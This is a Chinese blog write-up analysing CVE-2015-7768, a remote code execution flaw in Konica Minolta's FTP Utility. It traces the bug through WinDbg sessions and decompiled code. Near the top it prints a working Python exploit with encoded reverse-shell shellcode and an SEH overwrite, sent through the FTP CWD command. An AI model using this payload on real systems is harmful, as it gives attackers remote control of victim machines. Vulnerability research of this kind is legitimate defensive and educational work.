Konica Minolta FTP CWD命令远程代码执行漏洞(CVE-2015-7768)

作者:k0shl 转载请注明出处:http://whereisk0shl.top

忘了在博客说,由于年前后事情比较多,有点忙,因此微博改成一周一更,正月十五之后恢复一周多更~提前给大家拜早年了!


漏洞说明


软件下载:
https://www.exploit-db.com/apps/6388a2ae7dd2965225b3c8fad62f2b3b-ftpu_10.zip

PoC:

#!/usr/bin/python
import socket
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2B"
#msfvenom -a x86 --platform windows -p windowsell_reverse_tcp LHOST=192.168.0.118 LPORT=4444 -e x86ikata_ga_nai -b "\x00\x0d\x0a\x3d\x5c\x2f" -i 3 -f python
buf =  ""
buf += "\xbe\x95\x8c\xbb\x24\xdb\xdb\xd9\x74\x24\xf4\x5a\x29"
buf += "\xc9\xb1\x5f\x31\x72\x14\x83\xc2\x04\x03\x72\x10\x77"
buf += "\x79\x62\xe1\xae\xf6\xb1\x1e\xed\x1e\xe6\x8d\x3f\xba"
buf += "\x32\xfb\x8e\x64\x74\x90\xea\x97\x1d\x7c\x89\x73\x1d"
buf += "\x62\x91\x66\xa8\x21\x9a\xb7\xf6\xc8\xce\xd3\x8e\x8f"
buf += "\x12\xa5\xc1\x62\x44\xeb\x33\x84\x55\x7e\xa1\xae\xc1"
buf += "\x73\x50\xb4\xc6\xeb\x8a\x28\x66\x13\x8b\x8b\x42\x6d"
buf += "\x5b\xa6\x63\x02\xbe\x7b\x71\xf0\xcd\x6e\x36\x8c\x69"
buf += "\x3a\x7b\xc8\x03\xc7\xcf\xbe\x12\x0e\xf3\x7a\x29\xa7"
buf += "\xe3\xb3\x54\xd3\x12\xd7\x99\x2c\x7e\x63\x6d\x08\x79"
buf += "\x20\x29\x59\xf2\xfe\xe0\x1f\x9e\x6b\xa6\x36\x5a\x75"
buf += "\x15\xd8\x5d\x8b\x65\xdb\xad\x7c\x84\xe8\x17\xac\x07"
buf += "\xef\x45\x18\x29\x06\xbe\x07\x65\x68\xd5\xf9\xcb\x15"
buf += "\x56\x13\x25\xa3\x72\xd0\xd7\x57\x77\xbb\x8f\x4d\x17"
buf += "\xaf\xf9\x77\x53\x17\xf5\xeb\xab\xe0\x11\x1f\x88\xea"
buf += "\xab\xa9\xce\x0b\x8d\x84\x8f\x76\x05\x05\xdc\x04\x0c"
buf += "\x16\xc9\x84\x06\x6f\x2d\x02\x61\x59\xcd\x36\x17\x88"
buf += "\xe9\x3a\x4f\x63\x9e\x61\x24\xbf\xdc\xd9\x53\x42\x1a"
buf += "\xdf\xb2\x6e\xfe\xec\x8c\xf5\x6d\xeb\x74\x89\x29\x11"
buf += "\x1f\x4d\x9c\xc4\x64\xb9\x8c\x54\xa3\x2c\x3f\xf4\x98"
buf += "\x42\x11\xe0\x06\x32\x57\x75\xac\xaa\xec\x10\xda\x6d"
buf += "\x20\x51\x57\xdd\x99\x1f\x35\x90\x23\xb6\xdb\x37\x17"
buf += "\x1f\x1b\xea\xd1\x37\xc0\x88\x74\x4e\x74\xcf\x63\xb0"
buf += "\x4f\xdc\x2c\x90\xe2\x08\xcd\x49\x40\x36\x1a\xfb\x18"
buf += "\x29\x2b\x6f\x2e\x3c\x57\x6a\x79\xa8\xac\x49\xbe\xe7"
buf += "\x2e\x48\xa0\xeb\x4f\x36\x3b\xa2\x40\xff\x9f\x21\xcd"
buf += "\x8e\xb3\xdf\x92\xed\x3f\x12\x81\x1a\xba\x02\x20\x8f"
buf += "\x1d\x5a\xef\xb1\xc3\xb0\x90\xed\x6a\x21\x5b\xc6\xb9"
buf += "\x24\x3f\xa0\x3f\xc8\x4f\x05\xa3\xcf\x06\xa4\x06\xd5"
buf += "\x8e\xd7\x3e\x11\xc4\x8c\x12\xa7\x3b\x75\x3f\xe8\xd3"
buf += "\xd7\x08\x39\x83\xfa\x80\x71\x3c\x6e\x29\x8d\x5e\xcc"
buf += "\xa1\xd4"
#nSEH = "\xEB\x13\x90\x90"
#SEH = "\x9D\x6D\x20\x12" >> 12206D9D
buffer = "\x41" * 1037 + "\xeb\x0a\x90\x90" + "\x9D\x6D\x20\x12" + "\x90" *30 +  buf +  "D"*1955
#buffer = "\x41" * 1060
print "\sending evil buffer...."
s.connect(('192.168.0.109',21)) #HARDCODED IP ADDRESS.
data = s.recv(1024)
s.send('USER anonymous' + '\r\n')
data = s.recv(1024)
s.send('PASS anonymous' + '\r\n')
data = s.recv(1024)
s.send('CWD ' +buffer+'\r\n')
s.close

调试环境:
windows xp sp3

一看这个PoC就是调试的时候用了mona,如果想确保漏洞触发的话可以把shellcode部分也改成畸形字符串,而且这个也不一定能用,IP地址需要修改,可写死也可以设置成输入参数,运行FTP,然后运行PoC,可以触发漏洞。


漏洞复现及分析


此漏洞是由于sub_408090函数中,通过makepath构造路径时,没有对路径长度进行有效检查,导致后续进行fullpath拷贝生成绝对路径后,调用CString进行字符串构造造成了字符串赋值异常,进入SEH异常处理,再通过覆盖SEH指针,达到任意代码执行的效果,下面对此漏洞进行详细分析。

首先是通过样本发送畸形字符串,到达漏洞现场,附加windbg。

0:003> g
(c20.16b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00dc2dac ebx=00cafb02 ecx=00caf554 edx=00000000 esi=41414141 edi=00000000
eip=73d343a2 esp=00caf538 ebp=003bb65c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\MFC42.DLL - 
MFC42!Ordinal535+0x11:
73d343a2 8906            mov     dword ptr [esi],eax  ds:0023:41414141=????????

可以看到到达异常位置,继续执行,eip变为41414141,证明SEH指针可控。

0:001> g
(c20.16b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=00caf168 ebp=00caf188 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 ??              ???

可以看到在字符串进行拷贝时,由于esi指针为41414141,这个指针是一个异常指针,通过kb回溯一下堆栈调用。

0:001> kb
*** WARNING: Unable to verify checksum for C:\Program Files\KONICA MINOLTA\FTP Utility\KMFtp.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\KONICA MINOLTA\FTP Utility\KMFtp.exe
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00caf538 00408310 00caf554 003ba960 00cafae0 MFC42!Ordinal535+0x11
00caf53c 00caf554 003ba960 00cafae0 00cafb10 KMFtp+0x8310
00caf540 003ba960 00cafae0 00cafb10 00000000 0xcaf554
00caf554 00dc2dac 00dc0c24 003b3f28 00000000 0x3ba960
00caf558 00dc0c24 003b3f28 00000000 415c3a43 0xdc2dac
00caf55c 003b3f28 00000000 415c3a43 41414141 0xdc0c24
00caf560 00000000 415c3a43 41414141 41414141 0x3b3f28

我们就从MFC42入手,再逐步回溯,重现漏洞产生的原因。


漏洞分析


可以看到程序最后崩溃在系统dll MFC42.dll 中,我们来看一下这段函数。
首先通过lm来查看一下MFC42.dll中对应的地址区间。

73d30000 73e2e000   MFC42      (export symbols)       C:\WINDOWS\system32\MFC42.DLL

重新看一下漏洞触发的函数位置。

.text:73D34391 ; int __thiscall CString::CString(CString *this, int)
.text:73D34391                 public ??0CString@@QAE@ABV0@@Z
.text:73D34391 ??0CString@@QAE@ABV0@@Z proc near       ; CODE XREF: operator+(CString const &,CString const &)+40_x0019_p
.text:73D34391                                         ; COleDocument::SaveModified(void)+71_x0019_p ...
.text:73D34391
.text:73D34391 arg_0           = dword ptr  4
.text:73D34391
.text:73D34391                 mov     edi, edi
.text:73D34393                 push    esi
.text:73D34394                 mov     esi, ecx
.text:73D34396                 mov     ecx, [esp+4+arg_0]
.text:73D3439A                 mov     eax, [ecx]
.text:73D3439C                 cmp     dword ptr [eax-0Ch], 0
.text:73D343A0                 jl      short loc_73D343B0
.text:73D343A2                 mov     [esi], eax

在73D343A2位置的mov [esi],eax 就是漏洞发生的位置,调用的是CString类中的CString函数,我们来查看一下这段伪代码。

CString *__thiscall CString::CString(CString *this, int a2)
{
  CString *v2; // esi@1
  LPCSTR v3; // eax@1

  v2 = this;
  v3 = *(LPCSTR *)a2;
  if ( *(_DWORD *)(*(_DWORD *)a2 - 12) < 0 )
  {
    *(_DWORD *)this = off_73E086C0;
    CString::operator=(this, *(LPCSTR *)a2);
  }
  else
  {
    *(_DWORD *)this = v3;

可以看到 (_DWORD )this = v3; 执行拷贝操作时,由于this指针的值被覆盖,所以导致了函数进入SEH异常处理流程。我们重点要关注的就是this指针为什么会被覆盖。

重新分析程序,找到了接收函数。

.text:00406BCF                 call    ?Receive@CAsyncSocket@@UAEHPAXHH@Z ; CAsyncSocket::Receive(void *,int,int)

.text:00406ABF                 call    ?Receive@CAsyncSocket@@UAEHPAXHH@Z ; CAsyncSocket::Receive(void *,int,int)

.text:00404ED5                 call    ?OnReceive@CAsyncSocket@@MAEXH@Z ; CAsyncSocket::OnReceive(int)

我们在这三处下断点,执行PoC,中断后单步执行,到达漏洞触发的call函数。

0:003> g
Breakpoint 0 hit
eax=00caf554 ebx=00cafb02 ecx=41414141 edx=00000000 esi=41414141 edi=00000000
eip=0040830b esp=00caf540 ebp=003be94c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
KMFtp+0x830b:
0040830b e8b03f0000      call    KMFtp+0xc2c0 (0040c2c0)

这时可以看一下esp寄存器中的值。

0:001> dc esp
00caf540  00caf554 003babf8 00cafae0 00cafb10  T.....;.........
00caf550  00000000 00dc180c 00dc180c 00dc0054  ............T...
00caf560  003b4158 00000000 415c3a43 41414141  XA;.....C:\AAAAA
00caf570  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00caf580  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00caf590  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00caf5a0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00caf5b0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

可以看到此时CWD命令构造的路径已经传入了,那么我们继续进入这个函数。

0:001> p
eax=00000000 ebx=00cafb02 ecx=7ffdd000 edx=003b3ed8 esi=003babf8 edi=00000000
eip=0040826c esp=00caf544 ebp=003be94c iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
KMFtp+0x826c:
0040826c 6a00            push    0
0:001> p
eax=00000000 ebx=00cafb02 ecx=7ffdd000 edx=003b3ed8 esi=003babf8 edi=00000000
eip=0040826e esp=00caf540 ebp=003be94c iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
KMFtp+0x826e:
0040826e 55              push    ebp
0:001> p
eax=00000000 ebx=00cafb02 ecx=7ffdd000 edx=003b3ed8 esi=003babf8 edi=00000000
eip=0040826f esp=00caf53c ebp=003be94c iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
KMFtp+0x826f:
0040826f 52              push    edx
0:001> p
eax=00000000 ebx=00cafb02 ecx=7ffdd000 edx=003b3ed8 esi=003babf8 edi=00000000
eip=00408270 esp=00caf538 ebp=003be94c iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
KMFtp+0x8270:
00408270 8d442430        lea     eax,[esp+30h]
0:001> p
eax=00caf568 ebx=00cafb02 ecx=7ffdd000 edx=003b3ed8 esi=003babf8 edi=00000000
eip=00408274 esp=00caf538 ebp=003be94c iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
KMFtp+0x8274:
00408274 6a00            push    0
0:001> p
eax=00caf568 ebx=00cafb02 ecx=7ffdd000 edx=003b3ed8 esi=003babf8 edi=00000000
eip=00408276 esp=00caf534 ebp=003be94c iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
KMFtp+0x8276:
00408276 50              push    eax
0:001> p
eax=00caf568 ebx=00cafb02 ecx=7ffdd000 edx=003b3ed8 esi=003babf8 edi=00000000
eip=00408277 esp=00caf530 ebp=003be94c iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
KMFtp+0x8277:
00408277 ff1574e54000    call    dword ptr [KMFtp+0xe574 (0040e574)] ds:0023:0040e574={msvcrt!makepath (77c05e76)}
0:001> p
eax=00000000 ebx=00cafb02 ecx=00000000 edx=003b3edb esi=003babf8 edi=00000000
eip=0040827d esp=00caf530 ebp=003be94c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
KMFtp+0x827d:
0040827d 8d4c2438        lea     ecx,[esp+38h]
0:001> dd 00cafac8
00cafac8  41414141 41414141 41414141 41414141
00cafad8  41414141 41414141 41414141 41414141
00cafae8  41414141 41414141 41414141 41414141
00cafaf8  41414141 41414141 41414141 41414141
00cafb08  41414141 41414141 41414141 41414141

可以看到makepath之后,00cafac8已经被畸形字符串覆盖了,这个00cafac8就是之后出问题的地方,这里我们接着往下看。

0:001> p
eax=00dc2100 ebx=00cafb02 ecx=00dc21f4 edx=00000000 esi=003babf8 edi=00000000
eip=004082fd esp=00caf544 ebp=003be94c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
KMFtp+0x82fd:
004082fd 8bb42444040000  mov     esi,dword ptr [esp+444h] ss:0023:00caf988=41414141
0:001> dd esp+444
00caf988  41414141 41414141 41414141 41414141
00caf998  41414141 41414141 41414141 41414141
00caf9a8  41414141 41414141 41414141 41414141
00caf9b8  41414141 41414141 41414141 41414141
00caf9c8  41414141 41414141 41414141 41414141
00caf9d8  41414141 41414141 41414141 41414141
00caf9e8  41414141 41414141 41414141 41414141
00caf9f8  41414141 41414141 41414141 41414141

接下来的这处赋值,将esi指针被41414141赋值,正是之前的操作导致了esp+444位置原本存放的指针被覆盖。

我们来看一下漏洞函数的伪代码。

int __thiscall sub_408090(_DWORD *this, int a2, char *Filename)
{
  _DWORD *v3; // esi@1
  const unsigned __int8 *v4; // ST14_4@2
  const unsigned __int8 **v5; // eax@3
  bool v6; // ST2F_1@3
  bool v7; // al@3
  int v8; // eax@6
  int v9; // eax@6
  int *v10; // ecx@6
  int v11; // eax@7
  int v12; // eax@7
  char v14; // [sp+Fh] [bp-431h]@3
  char *Path; // [sp+10h] [bp-430h]@1
  int v16; // [sp+14h] [bp-42Ch]@2
  int v17; // [sp+18h] [bp-428h]@1
  char v18; // [sp+1Ch] [bp-424h]@3
  int v19; // [sp+20h] [bp-420h]@1
  char FullPath; // [sp+24h] [bp-41Ch]@6
  char v21; // [sp+22Ch] [bp-214h]@7
  int v22; // [sp+43Ch] [bp-4h]@1

  v3 = this;
  v19 = 0;
  CString::CString(&Path, aC);
  v22 = 1;
  CString::CString(&v17, Filename);
  LOBYTE(v22) = 2;
  CString::TrimLeft((CString *)&v17, asc_4149D8);
  if ( !*(_DWORD *)(v17 - 8) )
    goto LABEL_11;
  v4 = *(const unsigned __int8 **)CString::Left(&v17, &v16, 1);
  LOBYTE(v22) = 3;
  if ( !mbsicmp(v4, (const unsigned __int8 *)&byte_4141B4)
    || (v5 = (const unsigned __int8 **)CString::Left(&v17, &v18, 1),
        v6 = mbsicmp(*v5, (const unsigned __int8 *)asc_414A50) == 0,
        CString::~CString((CString *)&v18),
        v7 = v6,
        v14 = 0,
        v7) )
  {
    v14 = 1;
  }
  LOBYTE(v22) = 2;
  CString::~CString((CString *)&v16);
  if ( v14 )
  {
    v8 = operator+(&v16, aC, &v17);
    LOBYTE(v22) = 4;
    CString::operator=(&Path, v8);
    LOBYTE(v22) = 2;
    CString::~CString((CString *)&v16);
    fullpath(&FullPath, Path, 0x208u);
    CString::operator=(&Path, &FullPath);
    CString::Replace((CString *)&Path, aC, byte_414E00);
    v9 = sub_407FA0((int)&v16, (unsigned __int8 *)Path);
    LOBYTE(v22) = 5;
    CString::operator=(&Path, v9);
    LOBYTE(v22) = 2;
    v10 = &v16;
  }
  else
  {
LABEL_11:
    v11 = sub_407F00(&v16, v3[10]);
    LOBYTE(v22) = 6;
    CString::operator+=(&Path, v11);
    LOBYTE(v22) = 2;
    CString::~CString((CString *)&v16);
    makepath(&FullPath, 0, Path, Filename, 0);
    fullpath(&v21, &FullPath, 0x208u);
    CString::operator=(&Path, &v21);
    CString::Replace((CString *)&Path, aC, byte_414E00);
    v12 = sub_407FA0((int)&v16, (unsigned __int8 *)Path);
    LOBYTE(v22) = 7;
    CString::operator=(&Path, v12);
    LOBYTE(v22) = 2;
    v10 = &v16;
  }
  CString::~CString((CString *)v10);
  CString::TrimRight((CString *)&Path, &byte_4141B4);
  CString::CString(a2, &Path);

我来梳理一下整个流程。
首先是

makepath(&FullPath, 0, Path, Filename, 0);

其中Filename存放的是畸形字符串AAAAAA...,这里会将Path拼接File赋值给FullPath,接下来。

    fullpath(&v21, &FullPath, 0x208u);

fullpath可以获取绝对路径,将FullPath交给v21,紧接着。

    CString::operator=(&Path, &v21);

v21的值会交给Path,而这一步会导致a2被覆盖,到最后。

  CString::CString(a2, &Path);

调用CString会因为指针异常导致SEH异常处理。而在整个过程中,并没有对Path路径的长度进行任何控制。

Comments
Write a Comment